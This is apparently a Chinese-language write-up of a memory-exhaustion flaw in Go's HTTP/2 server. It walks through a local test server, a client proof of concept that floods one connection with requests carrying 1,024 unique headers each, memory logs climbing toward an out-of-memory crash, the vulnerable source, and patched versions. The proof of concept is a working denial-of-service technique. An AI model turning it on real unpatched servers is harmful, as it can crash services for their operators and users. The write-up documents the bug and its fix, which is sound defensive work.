启动httpserver
标准库启动一个支持http/2的服务,需要开启tls认证,否则只能使用HTTP/2 Cleartext 也就是golang.org/x/net/http2/h2c来做一个无需tls认证的http/2服务。这里使用标准库 开启tls认证的http服务。
package main
import (
"fmt"
"log"
"net/http"
"runtime"
"sync/atomic"
"time"
)
var requestNum uint32
func main() {
srv := &http.Server{
Addr: "127.0.0.1:2333",
Handler: http.HandlerFunc(hello),
}
go func() {
ticker := time.NewTicker(time.Second)
var stat runtime.MemStats
for {
<-ticker.C
runtime.ReadMemStats(&stat)
fmt.Printf("Alloc: %d Bytes, Request Number: %d \n", stat.Alloc, atomic.LoadUint32(&requestNum))
}
}()
log.Fatal(srv.ListenAndServeTLS("server.crt", "server.key"))
}
func hello(w http.ResponseWriter, r *http.Request) {
atomic.AddUint32(&requestNum, 1)
}
client调用测试
由于是tls认证开启,所以client也需要携带证书来发起请求,当然也可以关闭认证。
var clt = &http.Client{
Timeout: 5 * time.Second,
}
clt.Transport = &http2.Transport{TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
}}
ticker := time.NewTicker(10 * time.Millisecond)
for i := 0; i < 10; i++{
req, err := http.NewRequest("GET", "https://localhost:2333", nil)
if err != nil {
log.Fatal(err)
}
for j := 0; j < 1024; j++ {
req.Header.Set(fmt.Sprintf("header-header-header-header-foo-header-header-header-header-foo%d-bar%d", i, j), "foo-bar")
}
resp, err := clt.Do(req)
if err != nil {
log.Fatal(err)
}
fmt.Println("success,", resp.Proto)
<-ticker.C
}
可以看到随着请求的次数增加,内存呈快速增长,很快就可以达到oom的结果。
Alloc: 229440 Bytes, Request Number: 0 Alloc: 229456 Bytes, Request Number: 0 Alloc: 229744 Bytes, Request Number: 0 Alloc: 229760 Bytes, Request Number: 0 Alloc: 283328 Bytes, Request Number: 0 Alloc: 31783768 Bytes, Request Number: 101 Alloc: 62124440 Bytes, Request Number: 201 Alloc: 117848088 Bytes, Request Number: 300 Alloc: 123038304 Bytes, Request Number: 400 Alloc: 175361880 Bytes, Request Number: 497 Alloc: 233078672 Bytes, Request Number: 597 Alloc: 182120880 Bytes, Request Number: 696
代码浅析
在源代码src/net/http/h2_bundle.go(GO.16)或http2/server.go(GO.17)代码中,可以看到下面代码
func (sc *http2serverConn) canonicalHeader(v string) string {
sc.serveG.check()
http2buildCommonHeaderMapsOnce()
cv, ok := http2commonCanonHeader[v]
if ok {
return cv
}
cv, ok = sc.canonHeader[v]
if ok {
return cv
}
if sc.canonHeader == nil {
sc.canonHeader = make(map[string]string)
}
cv = CanonicalHeaderKey(v)
sc.canonHeader[v] = cv // here
println(len(sc.canonHeader))
return cv
}
在代码中可以看见,header进行转换过程中,当前连接中的header保存在canonHeader的map中,只要单连接不断开,并且一直发起http请求,携带大量随机header,就会导致oom以至于server crash掉。
解决方案
- 升级golang版本到1.17.5或者1.16.12
- 启动服务时携带GODEBUG=http2server=0